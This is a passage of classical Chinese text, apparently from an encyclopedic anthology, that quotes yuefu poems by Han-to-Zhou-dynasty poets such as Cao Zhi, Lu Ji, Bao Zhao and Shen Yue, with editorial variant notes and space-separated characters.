几 何 . 逝 如 朝 霜 . 时 无 重 至 . 华 不 再 阳 . 苹 以 春 晖 . 兰 以 秋 芳 . 来 日 苦 短 . 去 日 苦 长 . 今 我 不 乐 . 蟋 蟀 在 房 .\n古 长 歌 行 曰 . 青 青 园 中 葵 . 朝 露 待 日 晞 . 阳 春 布 德 泽 . 万 物 生 光 辉 . 常 恐 秋 节 至 . 焜 黄 华 叶 衰 . 百 川 东 到 海 . 何 时 复 西 归 . 少 壮 不 努 力 . 老 大 徒 伤 悲 .\n又 曰 . 昭 昭 清 明 月 . 辉 光 烛 我 床 . 忧 人 不 能 寐 . 耿 耿 夜 何 长 . 微 风 冲 闺 闼 . 罗 帷 自 飘 飏 . 揽 衣 曳 长 带 . 屣 履 下 高 堂 .\n魏 明 帝 长 歌 行 曰 . 静 夜 不 能 寐 . 耳 聆 众 禽 鸣 . 入 城 育 狐 兔 . 高 墉 多 鸟 声 . 中 心 感 时 物 . 揽 剑 下 闲 庭 . 翔 佯 于 阶 际 . 景 星 一 何 明 .\n晋 陆 机 长 歌 行 曰 . 逝 矣 经 天 日 . 悲 哉 带 地 川 . 寸 阴 无 停 晷 . 尺 波 徒 自 旋 . 远 期 鲜 克 及 . 盈 数 固 希 全 .\n梁 沈 约 长 歌 行 曰 . 连 连 舟 壑 改 . 微 微 市 朝 变 . 局 涂 顿 远 策 . 留 欢 限 奔 箭 . 春 貌 既 移 红 . 秋 林 岂 停 蒨 . 一 倍 茂 陵 道 . 宁 思 柏 梁 宴 . 长 戢 兔 园 情 . 永 别 金 华 殿 .\n魏 文 帝 煌 煌 京 洛 行 曰 . 嗟 彼 乐 生 . 古 之 雅 人 . 智 矣 燕 昭 . 可 谓 得 臣 . 峨 峨 仲 连 . 齐 之 高 士 . 北 辞 千 金 . 东 蹈 沧 海 .\n宋 鲍 昭 代 京 洛 篇 曰 . 凤 台 十 二 重 . 四 户 八 绮 窗 . 绣 桷 金 莲 花 . 桂 柱 玉 盘 龙 . 珠 帘 无 隔 露 . 罗 幌 不 胜 风 . 春 吹 回 白 日 . 霜 歌 落 塞 鸿 . 但 惧 秋 尘 起 . 盛 爱 逐 衰 蓬 . 坐 视 青 苔 满 . 卧 对 锦 筵 空 . 琴 筑 纵 横 散 . 舞 衣 不 复 缝 .\n梁 简 文 帝 京 洛 篇 曰 . 南 游 偃 师 县 . 斜 上 灞 陵 东 . 回 瞻 龙 首 堞 . 遥 望 德 阳 宫 . 重 门 远 照 耀 . 天 阙 复 穹 隆 . 夜 轮 悬 素 魄 . 朝 光 荡 碧 空 . 秋 霜 晓 驱 雁 . 春 雨 暮 成 虹 . 曲 阳 造 甲 第 . 高 安 还 禁 中 . 刘 苍 归 作 相 . 窦 宪 出 临 戎 . 惟 此 两 京 盛 . 欢 宴 遂 无 穷 .\n梁 戴 皓 煌 煌 京 洛 篇 曰 . 欲 知 佳 丽 地 . 为 君 陈 帝 京 . 由 来 称 侠 窟 . 争 利 复 争 名 . 铸 铜 门 外 马 . 刻 石 水 中 鲸 . 黑 龙 过 饮 渭 . 丹 凤 俯 临 城 . 群 公 恶 郭 解 . 天 子 问 黄 琼 . 诏 幸 平 阳 第 . 骑 指 伏 波 营 . 五 侯 同 拜 爵 . 七 贵 各 垂 缨 . 挥 金 留 客 坐 . 馔 玉 待 钟 声 . 独 有 文 园 令 . 偏 嗟 武 骑 轻 .\n魏 陈 王 曹 植 名 都 篇 曰 . 名 都 多 妖 丽 . 京 洛 出 少 年 . 宝 剑 直 千 金 . 被 服 丽 且 鲜 . 斗 鸡 长 安 道 . 走 马 长 楸 间 . 驱 驰 未 能 半 . 双 兔 过 我 前 . 左 挽 因 右 发 . 一 纵 两 禽 连 . 余 功 未 及 展 . 仰 手 接 飞 鸢 . 归 来 宴 平 乐 . 美 酒 斗 十 千 .\n又 白 马 篇 曰 . 白 马 饰 金 羁 . 连 翩 西 北 驰 . 借 问 谁 家 子 . 幽 并 游 侠 儿 . 少 小 去 乡 邑 . 扬 名 沙 漠 垂 . 控 弦 破 左 的 . 右 发 摧 月 支 . 仰 手 接 飞 猱 . 俯 身 散 马 蹄 . 边 城 多 警 急 . 胡 虏 数 迁 移 . 羽 檄 从 北 来 . 厉 马 登 高 堤 . 寄 身 锋 刃 端 . 性 命 安 可 怀 . 高 名 在 壮 籍 . 不 得 中 顾 私 . 捐 躯 赴 国 难 . 视 死 忽 若 归 .\n宋 袁 淑 效 曹 子 建 白 马 篇 曰 . 剑 骑 何 翩 翩 . 长 安 五 陵 间 . 秦 地 天 下 枢 . 八 方 凑 才 贤 . 荆 魏 多 壮 士 . 宛 洛 富 少 年 . 义 分 明 于 霜 . 信 行 直 如 弦 . 侠 烈 良 有 闻 . 古 来 共 知 然 .\n宋 鲍 昭 代 陈 王 白 马 篇 曰 . 白 马 骍 角 弓 . 鸣 鞭 垂 北 风 . 要 途 问 边 急 . 杂 虏 入 云 中 . 薄 暮 雪 云 起 . 飞 沙 被 远 松 . 弃 别 中 国 爱 . 要 冀 胡 马 功 . 但 令 塞 上 儿 . 知 我 独 为 雄 .\n梁 沈 约 白 马 篇 曰 . 白 马 紫 金 鞍 . 停 镳 过 上 兰 . 赤 阪 涂 三 折 . 龙 堆 路 九 蟠 . 水 生 肌 里 冻 . 风 起 骨 中 寒 . 唯 见 恩 义 重 . 岂 觉 衣 裳 单 . 本 持 驱 命 苦 . 幸 遇 身 得 完 .\n梁 徐 悱 拟 白 马 篇 曰 . 要 功 非 汗 马 . 报 效 有 锋 端 . 日 没 塞 云 起 . 风 悲 起 胡 地 寒 . 归 报 明 天 子 . 燕 然 今 复 刊 .\n魏 文 帝 燕 歌 行 曰 . 秋 风 萧 瑟 天 气 凉 . 草 木 摇 落 露 为 霜 . 群 燕 争 归 雁 南 翔 . 念 君 远 游 多 思 肠 . 慊 慊 思 归 恋 故 乡 . 何 为 淹 留 寄 他 方 . 贱 妾 茕 茕 守 空 房 . 忧 来 思 君 不 敢 忘 .\n魏 明 帝 燕 歌 行 曰 . 白 日 晼 晼 忽 西 倾 . 霜 露 惨 凄 涂 阶 庭 . 秋 草 卷 叶 摧 枝 茎 . 翩 翩 飞 蓬 常 独 征 . 有 似 游 子 不 安 宁 .\n晋 陆 机 燕 歌 行 曰 . 四 时 代 序 逝 不 追 . 寒 风 习 习 落 叶 飞 . 蟋 蟀 在 堂 露 盈 阶 . 念 君 远 游 苦 恒 悲 . 君 何 缅 然 久 不 归 .\n宋 谢 惠 连 燕 歌 行 曰 . 四 时 推 迁 迅 不 停 . 三 秋 萧 瑟 叶 辞 茎 . 霏 霜 被 野 雁 南 征 . 念 君 客 游 羁 思 盈 . 何 为 淹 留 无 归 声 . 爱 而 不 见 伤 心 情 .\n梁 元 帝 燕 歌 行 曰 . 燕 赵 佳 人 本 自 多 . 辽 东 少 妇 学 春 歌 . 黄 龙 戍 北 花 如 锦 . 玄 兔 城 前 月 似 蛾 . 如 何 此 时 别 夫 婿 . 金 羁 翠 毦 往 交 河 . 还 闻 入 汉 去 燕 营 . 怨 妾 愁 心 百 恨 生 . 漫 漫 悠 悠 天 未 晓 . 遥 遥 夜 夜 听 寒 更 . 自 从 异 县 同 心 别 . 偏 恨 同 时 成 异 节 . 横 波 满 脸 万 行 啼 . 翠 眉 暂 敛 千 重 结 . 并 海 连 天 合 不 开 . 那 堪 春 日 上 春 台 . 唯 见 远 舟 如 落 叶 . 复 看 遥 舸 似 行 杯 . 沙 汀 夜 鹤 啸 羇 雌 . 妾 心 无 趣 坐 伤 离 . 翻 嗟 汉 使 音 尘 断 . 空 伤 贱 妾 燕 南 垂 .\n周 王 褒 燕 歌 行 曰 . 初 春 丽 日 鹦 欲 娇 . 桃 花 流 水 没 河 桥 . 蔷 薇 花 开 百 重 叶 . 杨 柳 覆 地 数 千 条 . 自 从 昔 别 春 鷰 分 . 经 年 一 去 不 相 闻 . 无 复 汉 地 关 山 月 . 唯 有 漠 北 蓟 城 云 . 属 国 小 妇 犹 年 少 . 羽 林 轻 骑 数 征 行 . 遥 闻 陌 头 采 桑 曲 . 犹 胜 胡 笳 边 地 声 . 胡 笳 向 暮 使 人 泣 . 长 望 闺 中 空 伫 立 . 桃 抽 覆 地 春 花 舒 . 桐 生 井 底 寒 叶 疏 . 试 为 来 看 上 林 雁 . 应 有 遥 寄 陇 头 书 .\n周 庾 信 燕 歌 行 曰 . 岱 北 云 气 昼 昏 昏 . 千 里 飞 蓬 无 复 根 . 寒 雁 一 一 度 辽 水 . 桑 叶 纷 纷 落 蓟 门 . 晋 阳 山 头 无 箭 竹 . 疏 勒 城 中 乏 水 源 . 属 国 征 戍 久 离 居 . 阳 关 音 信 绝 能 疏 . 愿 得 鲁 连 飞 一 箭 . 持 寄 思 归 燕 将 书 . 度 辽 本 自 有 将 军 . 寒 风 萧 萧 生 水 滨 . 妾 惊 甘 泉 旦 烽 火 . 君 讶 渔 阳 多 阵 云 . 自 从 将 军 出 细 柳 . 荡 子 空 床 定 难 守 . 盘 龙 明 镜 饷 秦 嘉 . 辟 恶 生 香 寄 韩 寿 . 洛 阳 游 丝 百 丈 连 . 黄 河 春 冰 千 片 穿 . 桃 花 颜 色 如 好 马 . 榆 荚 新 开 似 细 钱 . 蒲 桃 一 杯 千 日 醉 . 无 事 九 转 学 神 仙 . 定 取 金 丹 作 几 服 . 能 令 华 表 得 千 年 .\n魏 文 帝 月 重 轮 行 曰 . 三 辰 垂 光 . 照 临 四 海 . 焕 哉 何 煌 煌 . 悠 悠 与 天 地 久 长 . 愚 见 目 前 . 圣 睹 万 年 . 明 闇 相 绝 . 何 可 胜 言 .\n魏 明 帝 月 重 轮 行 曰 . 天 地 无 穷 . 人 命 有 终 . 立 功 扬 名 . 行 之 在 躬 . 圣 贤 度 量 . 得 为 道 中 .\n梁 戴 皓 月 重 轮 篇 曰 . 皇 基 属 明 朗 . 副 德 表 重 轮 . 轮 重 非 是 晕 . 桂 满 自 恒 春 . 海 珠 全 更 减 . 阶 蓂 翳 且 新 . 婕 妤 譬 团 扇 . 曹 王 比 洛 神 . 北 堂 岂 盈 手 . 西 园 偏 照 人 .\n魏 陈 王 曹 植 飞 龙 篇 曰 . 晨 游 太 山 . 云 雾 窈 窕 . 忽 逢 二 童 . 颜 色 鲜 好 . 乘 彼 白 鹿 . 手 翳 芝 草 . 西 登 玉 堂 . 金 楼 复 道 . 投 我 此 药 . 神 皇 可 造 . 寿 同 金 石 . 永 世 难 老 .\n又 吁 嗟 篇 曰 . 吁 嗟 此 转 蓬 . 居 世 何 独 然 . 长 去 本 根 逝 . 宿 昔 无 休 闲 . 愿 为 中 林 草 . 秋 随 野 火 燔 .\n又 篇 曰 . 游 潢 潦 . 不 知 江 海 流 . 鷰 雀 戏 蕃 柴 . 安 识 鸿 鹤 游 . 世 士 比 诚 明 . 大 德 故 无 畴 .\n又 种 葛 篇 曰 . 种 葛 南 山 下 . 葛 蔓 自 成 阴 . 与 君 初 定 婚 . 结 发 恩 义 深 . 行 年 将 晚 暮 . 佳 人 怀 异 心 . 恩 纪 旷 不 接 . 我 情 遂 抑 沉 .\n又 驱 车 篇 曰 . 神 哉 彼 太 山 . 五 岳 显 其 名 . 隆 高 贯 云 霓 . 峨 出 太 清 . 周 流 二 六 候 . 间 置 十 二 亭 . 上 有 涌 醴 泉 . 玉 石 杨 华 英 . 车 北 望 吴 野 . 西 眺 观 日 精 . 王 者 以 归 天 . 效 厥 元 功 成 .\n又 当 欲 游 南 山 篇 曰 . 东 海 广 且 深 . 由 卑 下 百 川 . 五 岳 虽 高 大 . 不 逆 垢 与 尘 . 嘉 善 而 矜 愚 . 大 圣 亦 同 然 . 仁 者 必 寿 考 . 八 坐 咸 万 年 .\n又 仙 人 篇 曰 . 仙 人 揽 六 箸 . 对 博 太 山 隅 . 湘 娥 拊 琴 瑟 . 素 女 吹 笙 竽 . 玉 樽 盈 桂 酒 . 河 伯 献 神 鱼 . 回 驾 过 紫 微 . 与 帝 合 灵 符 . 阊 阖 正 峨 . 双 阙 万 丈 余 .\n又 升 天 行 曰 . 乘 跷 追 术 士 . 远 之 蓬 莱 山 . 灵 液 飞 素 波 . 兰 桂 上 参 天 . 玄 豹 游 其 下 . 翔 鹍 戏 其 巅 . 乘 风 忽 登 举 . 仿 佛 见 众 仙 .\n又 . 扶 桑 之 所 出 . 乃 在 朝 阳 溪 . 中 心 陵 苍 吴 . ○ 本 集 作 昊 . 布 叶 盖 天 崖 . 日 出 登 东 干 . 既 夕 没 西 枝 . 愿 得 纡 阳 辔 . 回 日 使 东 驰 .\n宋 鲍 昭 升 天 行 曰 . 倦 见 物 兴 衰 . 骤 睹 俗 屯 平 . 穷 途 悔 短 计 . 晚 志 重 长 生 . 从 师 入 远 岳 . 结 友 事 仙 灵 . 风 餐 委 松 宿 . 云 卧 恣 天 行 . 暂 游 越 万 里 . 近 别 数 千 龄 .\n晋 傅 玄 历 九 秋 篇 曰 . 历 九 秋 兮 三 春 . 遣 贵 客 兮 一 宾 . 顾 名 君 心 所 亲 . 乃 命 妙 妓 才 人 . 穷 八 音 兮 异 伦 . 微 披 素 齿 丹 唇 . 逸 响 飞 薄 梁 尘 . 精 爽 眇 眇 入 神 . 荠 与 麦 兮 夏 零 . 兰 桂 践 霜 逾 馨 . 妾 心 结 意 丹 青 . 何 忧 君 心 中 倾 .\n又 车 遥 篇 曰 . 车 遥 遥 兮 马 洋 洋 . 追 思 君 兮 不 可 忘 . 君 安 游 兮 西 入 秦 . 愿 为 影 兮 随 君 身 .\n梁 简 文 帝 渡 关 山 行 曰 . 关 山 远 可 度 . 远 度 复 难 思 . 直 指 遮 归 道 . 都 护 总 前 期 . 力 农 争 地 利 . 转 战 逐 天 时 . 材 官 蹶 张 皆 命 中 . 弘 农 越 骑 尽 褰 旗 . 褰 旗 远 不 息 . 驱 虏 何 穷 极 . 狼 居 一 封 难 再 睹 . 阏 氏 永 去 无 容 色 . 锐 气 且 横 行 . 朱 旗 乱 日 精 . 先 屠 光 禄 寨 . 却 破 夫 人 城 . 凯 还 归 旧 里 . 非 是 炫 功 名 .\n梁 戴 皓 度 关 山 篇 曰 . 昔 听 陇 头 吟 . 平 居 已 流 涕 . 今 上 关 山 望 . 长 安 树 如 荠 . 千 里 非 乡 邑 . 百 姓 为 兄 弟 . 武 帝 初 承 平 . 东 伐 复 西 征 . 催 令 四 校 出 . 倚 望 三 边 平 . 丈 夫 意 气 本 自 然 . 来 时 辞 第 已 闻 天 . 但 令 此 心 与 命 在 . 不 持 烽 火 照 甘 泉 .\n周 王 褒 关 山 篇 曰 . 从 军 出\n陇 阪 . 驱 马 度 关 山 . 关 山 恒 掩 蔼 . 高 峰 白 云 外 . 遥 望 秦 川 水 . 千 里 长 如 带 . 好 勇 自 秦 中 . 意 气 多 豪 雄 . 少 年 便 习 战 . 十 四 已 从 戎 . 辽 水 深 难 渡 . 榆 关 断 未 通 .\n晋 陆 机 太 山 吟 曰 . 太 山 一 何 高 . 迢 迢 造 天 庭 . 峻 极 周 已 远 . 曾 云 郁 冥 冥 . 梁 甫 亦 有 馆 . 蒿 里 亦 有 亭 . 幽 涂 延 万 鬼 . 神 房 集 百 灵 . 长 吟 太 山 侧 . 慷 慨 激 楚 声 .\n宋 谢 灵 运 吴 会 行 曰 . 六 引 缓 清 唱 . 三 调 伫 繁 音 . 列 筵 皆 寂 寂 . 咸 共 聆 会 吟 . 会 吟 自 有 初 . 请 从 文 命 敷 . 敷 绩 壶 冀 始 . 刊 木 至 江 汜 . 句 践 善 废 兴 . 越 王 识 行 止 . 范 蠡 出 江 湖 . 梅 福 入 城 市 .\n晋 傅 玄 艳 歌 行 曰 . 娥 眉 分 翠 羽 . 明 月 发 清 阳 . 丹 唇 翳 皓 齿 . 秀 色 若 珪 璋 . 容 华 既 以 艳 . 志 节 拟 秋 霜 .\n梁 简 文 帝 艳 歌 行 曰 . 云 楣 桂 成 户 . 飞 栋 杏 为 梁 . 斜 窗 通 药 气 . 细 隙 引 尘 光 . 裁 衣 魏 后 尺 . 汲 水 淮 南 床 . 青 骊 暮 已 及 . 豫 使 罗 裙 香 .\n晋 陆 机 前 缓 声 歌 行 曰 . 游 仙 聚 ● 族 . 高 宴 层 城 阿 . 长 风 万 里 急 . 庆 云 郁 峨 . 北 征 瑶 台 女 . 南 要 湘 川 娥 . 肃 肃 宵 驾 动 . 翩 翩 翠 盖 罗 . 大 客 挥 高 弦 . 洪 涯 发 清 歌 . 献 酬 既 已 终 . 轻 举 乘 紫 霞 .\n宋 谢 灵 运 缓 歌 行 曰 . 飞 客 结 灵 友 . 凌 空 萃 丹 丘 . 习 习 和 风 起 . 采 采 彤 云 浮 . 娥 皇 发 湘 浦 . 宵 明 出 河 洲 . 宛 宛 连 螭 辔 . 裔 裔 振 龙 旒 .\n晋 陆 机 棹 歌 行 曰 . 迟 迟 暮 春 日 . 天 气 柔 且 嘉 . 元 吉 隆 初 已 . 濯 秽 游 黄 河 . 龙 舟 浮 鹢 首 . 羽 旗 垂 藻 葩 . 乘 风 宣 飞 景 . 逍 遥 戏 中 波 . 名 讴 激 清 唱 . 榜 人 纵 棹 歌 . 投 纶 沉 洪 川 . 飞 缴 入 紫 霞 .\n梁 简 文 帝 棹 歌 行 曰 . 妾 家 住 湘 川 . 菱 歌 本 自 便 . 风 生 解 榜 浪 . 水 深 能 捉 船 . 叶 乱 由 牵 荇 . 丝 飘 为 折 莲 . 溅 妆 疑 薄 汗 . 沾 衣 似 故 ● . 浣 纱 流 暂 浊 . 汰 锦 色 还 鲜 . 参 同 赵 飞 鷰 . 借 问 李 延 年 . 从 来 入 弦 管 . 谁 在 桌 歌 前 .\n宋 鲍 昭 放 歌 行 曰 . 蓼 虫 避 葵 堇 . 习 苦 良 可 哀 . 小 人 自 龌 龊 . 安 知 旷 士 怀 . 鸡 鸣 洛 城 里 . 禁 门 平 旦 开 . 冠 盖 纵 横 至 . 车 骑 四 方 来 . 夷 世 不 可 逢 . 贤 君 信 爱 才 . 一 言 分 珪 爵 . 片 善 辞 蒿 莱 . 岂 伊 白 璧 赐 . 将 起 黄 金 台 . 今 君 有 何 疾 . 临 路 独 迟 回 .\n梁 何 逊 轻 薄 篇 曰 . 长 安 美 年 少 . 重 身 轻 万 亿 . 柘 弹 随 珠 丸 . 白 马 黄 金 饰 . 相 期 百 戏 傍 . 去 来 三 市 侧 . 象 床 沓 绣 被 . 玉 盘 传 绮 食 . 倡 女 掩 扇 歌 . 小 妇 开 帘 织 . 相 看 独 隐 笑 . 见 人 还 敛 色 .\n梁 张 率 远 期 篇 . 远 期 终 不 归 . 节 华 坐 将 变 . 谁 将 久 离 别 . 他 乡 且 异 县 . 浮 云 蔽 重 山 . 相 望 不 可 见 .\n梁 庾 成 师 远 期 篇 曰 . 忆 别 春 花 飞 . 已 见 秋 叶 稀 . 泪 粉 羞 明 镜 . 愁 带 减 宽 衣 . 得 书 言 未 及 . 梦 见 道 应 归 . 坐 使 红 颜 歇 . 独 掩 青 楼 扉 .\n梁 简 文 帝 蜀 道 难 曲 曰 . 巫 山 七 百 里 . 巴 水 三 回 曲 . 笛 声 下 复 高 . 猿 啼 断 还 续 .\n梁 刘 孝 威 蜀 道 难 篇 曰 . 玉 垒 高 无 极 . 铜 梁 不 可 攀 . 双 流 迸 巇 道 . 九 阪 涩 阳 关 . 邓 侯 束 马 去 . 王 生 敛 辔 还 . 嵎 山 金 碧 有 光 辉 . 迁 亭 车 马 正 轻 肥 . 弥 思 王 褒 拥 节 去 . 复 忆 相 如 乘 传 归 . 君 平 子 云 寂 不 嗣 . 江 汉 英 灵 已 信 稀 .\n又 行 行 游 猎 篇 曰 . 之 罘 讲 射 所 . 上 林 娱 猎 场 . 倾 飞 具 罾 缴 . 材 官 命 蹶 张 . 高 罝 掩 月 兔 . 劲 矢 射 天 狼 . 蹶 地 不 遑 逸 . 排 虚 岂 及 翔 .\n又 思 归 篇 曰 . 胡 地 凭 良 马 . 怀 骄 负 汉 恩 . 甘 泉 烽 火 入 . 回 中 宫 室 燔 . 锦 车 劳 远 驾 . 绣 衣 疲 屡 奔 . 枥 下 严 双 骏 . 腰 边 垂 两 鞬 . 乘 嶂 无 期 限 . 归 思 安 可 言 .\n又 公 莫 渡 河 篇 曰 . 请 公 莫 渡 河 . 河 广 风 威 厉 . 墙 偃 落 金 乌 . 舟 倾 没 犀 枻 . 剑 飞 犹 共 水 . 魂 沉 理 俱 逝 . 君 为 川 后 臣 . 妾 作 江 妃 娣 .\n梁 简 文 帝 雁 门 太 守 歌 曰 . 轻 霜 中 夜 下 . 黄 叶 晚 辞 枝 . 寒 苦 春 难 觉 . 边 城 秋 易 知 . 风 急 铃 旗 断 . 涂 长 铠 马 疲 . 少 解 孙 吴 法 . 家 本 幽 并 儿 . 非 关 买 雁 肉 . 徒 劳 皇 甫 规 .\n又 曰 . 三 月 杨 花 合 . 四 月 麦 秋 初 . 幽 州 寒 食 罢 . 郑 国 采 桑 疏 . 便 闻 雁 门 戍 . 结 束 事 戎 车 . 寄 语 金 闺 妾 . 勿 怨 寒 床 虚 .\n齐 谢 朓 鼓 吹 曲 十 首 . 元 会 曲 曰 . 二 仪 启 昌 历 . 三 朝 应 庆 期 . 分 阶 赩 组 练 . 充 庭 罗 翠 旗 . 觞 流 白 日 下 . 吹 谧 景 云 滋 . 天 仪 穆 藻 殿 . 万 宇 庆 皇 基 .\n钧 天 曲 曰 . 高 宴 皓 天 台 . 置 酒 迎 风 观 . 笙 镛 礼 百 神 . 钟 石 动 云 汉 . 瑶 台 宝 瑟 惊 . 绮 席 舞 衣 散 . 已 庆 明 庭 乐 . 谁 想 南 风 弹 . 入 朝 曲 曰 . 江 南 佳 丽 地 . 金 陵 帝 王 州 . 飞 甍 夹 驰 道 . 垂 杨 荫 御 沟 . 凝 笳 翼 高 盖 . 叠 鼓 送 行 辀 . 献 纳 云 台 表 . 功 名 良 可 收 .\n从 戎 曲 曰 . 选 旅 辞 轘 辕 . 弭 节 趋 河 源 . 日 起 霜 戈 照 . 风 回 连 旗 翻 . 寥 唳 清 笳 转 . 萧 条 边 马 烦 . 自 勉 辍 耕 愿 . 征 役 去 何 言 .\n送 远 曲 曰 . 北 梁 辞 欢 宴 . 南 浦 送 佳 人 . 方 衢 控 龙 马 . 平 路 骋 朱 轮 . 琼 筵 妙 舞 绝 . 桂 席 羽 觞 陈 . 一 为 清 吹 激 . 潺 湲 伤 别 神 .\n登 山 曲 曰 . 天 明 开 秀 草 . 澜 光 媚 碧 堤 . 风 荡 翻 鹦 乱 . 云 行 芳 树 低 . 暮 春 春 服 美 . 游 驾 蹑 石 梯 .\n泛 水 曲 曰 . 玉 霜 沾 翠 草 . 金 风 鸣 素 枝 . 罢 游 平 乐 菀 . 泛 鹢 昆 明 池 . 羽 旗 散 容 裔 . 箫 鼓 吹 参 差 . 百 年 如 流 水 . 寸 心 宁 共 知 .\n梁 沈 约 鼓 吹 曲 十 二 首 . 汉 第 一 曲 朱 辂 . 今 第 一 曲 木 纪 谢 . 齐 ○ 隋 书 音 乐 志 齐 下 有 谢 字 . 此 脱 . 梁 升 也 . 木 纪 谢 . 炎 运 昌 . 民 去 癸 . 鼎 归 梁 . 五 帝 . 轶 三 王 . 横 四 海 . 被 八 荒 .\n汉 第 二 曲 思 悲 翁 . 今 第 二 曲 贤 首 山 . 言 圣 主 大 破 匈 奴 于 刀 ○ 隋 志 作 司 . 部 . 肇 王 迹 也 . 贤 首 山 . 险 而 峻 . 乘 阻 凭 . 临 胡 阵 . 骋 奇 谋 . 奋 卒 徒 . 断 白 马 . 塞 飞 孤 . ○ 乐 府 诗 集 二 十 作 狐 .\n汉 第 三 曲 艾 如 张 . 今 第 三 曲 桐 柏 山 . 言 圣 主 收 ○ 隋 志 作 牧 . 司 . 王 业 弥 彰 也 . 桐 柏 山 . 淮 之 首 . 肇 基 帝 迹 . 遂 光 区 有 . 震 边 关 . 殪 獯 丑 . 农 既 欢 . 民 惟 阜 .\n汉 第 四 曲 上 之 回 . 今 第 四 曲 道 亡 . 言 东 民 ○ 隋 志 作 昏 . 丧 道 . 义 师 起 樊 邓 也 . 道 亡 数 极 归 永 元 . 悠 悠 兆 庶 尽 含 冤 . 矫 龙 翰 . 自 樊 汉 . 率 兹 八 百 驱 十 乱 . 登 我 圣 明 由 多 难 .\n汉 第 五 曲 翁 离 . 今 第 五 曲 抗 ○ 隋 志 作 忱 . 威 . 言 破 加 湖 . 元 勋 建 也 . 抗 威 授 律 命 苍 光 . ○ 疑 当 作 兕 . 言 薄 加 湖 灌 秋 水 . 资 此 威 烈 齐 文 轨 .\n汉 第 六 曲 战 城 南 . 今 第 六 曲 汉 东 流 . 言 义 师 克 鲁 山 城 也 . 汉 东 流 . 江 之 汭 . 逆 徒 蜂 聚 . 旌 旗 纷 仰 蔽 . 震 威 灵 . 乘 高 骋 锐 . 至 仁 解 网 . 穷 鸟 入 怀 . 因 此 龙 跃 . 言 登 泰 阶 .\n汉 第 七 曲 巫 山 高 . 今 第 七 曲 鹤 楼 峻 . 言 平 郢 城 . 兵 威 无 敌 也 . 鹤 楼 峻 . 连 翠 微 . 薄 言 震 . 曜 ● 威 . 凶 众 稽 颡 . 天 不 能 违 .\n汉 第 八 曲 上 陵 . 今 第 八 曲 昏 主 . 言 东 昏 致 乱 . 圣 主 起 义 . 平 九 江 姑 熟 . 大 破 朱 崖 . 伐 罪 吊 民 也 . 昏 主 恣 淫 慝 . 皆 曰 自 言 盛 . 上 仁 矜 亿 兆 . 誓 师 为 请 命 . 既 齐 丹 浦 战 . 又 符 甲 子 辰 . 悠 悠 万 姓 民 . 于 此 睹 阳 春 .\n汉 第 九 曲 将 进 酒 . 今 第 九 曲 石 首 扃 . 言 义 师 先 平 京 邑 四 城 . 仍 废 昏 主 . 定 大 事 也 . 石 首 扃 . 北 墉 墐 . 新 堞 严 . 东 垒 峻 . 夫 ○ 乐 府 诗 集 作 矢 . 未 飞 . 鼓 方 振 . 竞 衔 璧 . 并 舆 榇 . 翦 廉 恶 . 靡 余 胤 .\n汉 第 十 曲 有 所 思 . 今 第 十 曲 期 运 集 . 言 圣 主 膺 箓 受 图 . 德 盛 化 远 也 . 期 运 集 . 惟 皇 膺 宝 符 . 龙 跃 清 汉 渚 . 凤 起 方 城 隅 . 讴 歌 共 适 夏 . 狱 讼 两 违 朱 . 二 仪 启 佳 祚 . 千 载 犹 旦 暮 . 无 ○ 乐 府 诗 集 作 舞 . 蹈 流 帝 功 . 金 石 昭 王 度 .\n汉 第 十 一 曲 芳 树 . 今 第 十 一 曲 于 穆 . 言 大 梁 阐 运 . 君 臣 和 乐 . 休 祚 方 远 也 . 于 穆 君 臣 . 君 臣 和 以 肃 . 关 王 道 . 定 天 保 . 乐 均 ● 囿 . 宴 同 在 镐 . 前 庭 悬 鼓 钟 . 左 右 列 笙 镛 . 缨 佩 俯 仰 有 则 . 备 礼 容 .\n汉 第 十 二 曲 上 雅 . 今 第 十 二 曲 大 梁 . 言 梁 德 广 运 . 仁 化 溥 洽 也 . 惟 大 梁 开 运 . 受 箓 膺 图 . 天 冠 八 极 . 带 被 五 都 .\n齐 王 融 巫 山 高 曰 . 髣 象 巫 山 高 . 薄 暮 阳 台 曲 . 烟 华 乍 卷 舒 . 行 芳 时 断 续 . 无 忘 坐 相 望 . 秋 风 下 庭 绿 .\n梁 元 帝 巫 山 高 曰 . 巫 山 高 不 穷 . 回 出 荆 门 中 . 滩 声 下 溅 石 . 猿 鸟 上 逐 风 . 树 杂 山 如 画 . 林 暗 涧 疑 空 . 无 因 谢 神 女 . 一 为 出 房 笼 .\n梁 范 云 巫 山 高 曰 . 巫 山 高 不 极 . 白 日 隐 光 晖 . 蔼 蔼 朝 云 去 . 冥 冥 暮 雨 归 . 岩 悬 兽 无 迹 . 林 暗 鸟 疑 飞 . 枕 席 竟 谁 荐 . 相 望 徒 依 依 .\n梁 沈 约 芳 树 曰 . 发 萼 九 华 隈 . 开 跗 露 寒 侧 . 氤 氲 非 一 香 . 参 差 多 异 色 . 夙 昔 寒 飙 举 . 摧 残 不 可 识 . 霜 雪 交 横 至 . 对 之 长 叹 息 .\n梁 丘 迟 芳 树 曰 . 芳 叶 已 漠 漠 . 嘉 实 复 离 离 . 发 景 傍 云 屋 . 凝 晖 覆 华 池 . 轻 蜂 掇 浮 颖 . 弱 鸟 隐 深 枝 . 一 朝 容 色 茂 . 千 春 长 不 移 .\n魏 文 帝 临 高 台 行 曰 . 临 台 行 高 高 以 轩 . 下 有 水 清 且 寒 . 中 有 黄 鹄 往 且 翻 . 行 为 臣 当 尽 忠 . 愿 令 皇 帝 陛 下 三 千 岁 . 宜 居 此 宫 . 鹄 欲 南 游 . 雌 不 能 随 . 我 欲 躬 衔 汝 . 口 噤 不 能 开 . 我 欲 负 之 . 毛 衣 摧 颓 . 五 里 一 顾 . 六 里 徘 徊 .\n齐 谢 朓 临 高 台 行 曰 . 千 里 常 思 归 . 登 台 临 绮 翼 . 才 见 孤 鸟 还 . 未 辨 连 山 极 . 四 面 动 清 风 . 朝 夜 起 寒 色 . 谁 知 倦 游 者 . 嗟 此 故 乡 忆 .\n梁 沈 约 临 高 台 行 曰 . 高 台 不 望 远 . 望 远 使 人 愁 . 连 山 无 断 续 . 河 水 复 悠 悠 . 所 思 爱 何 在 . 洛 阳 南 陌 头 . 可 望 不 可 至 . 何 用 解 人 忧 .\n梁 王 僧 孺 登 高 台 曰 . 试 出 金 华 殿 . 聊 登 铜 雀 台 . 九 路 平 如 砥 . 千 门 洞 已 开 . 轩 车 映 日 过 . 箫 管 逐 风 来 . 若 非 邯 郸 美 . 便 是 洛 阳 才 .\n梁 范 云 当 对 酒 曰 . 对 酒 心 自 足 . 故 人 来 共 持 . 方 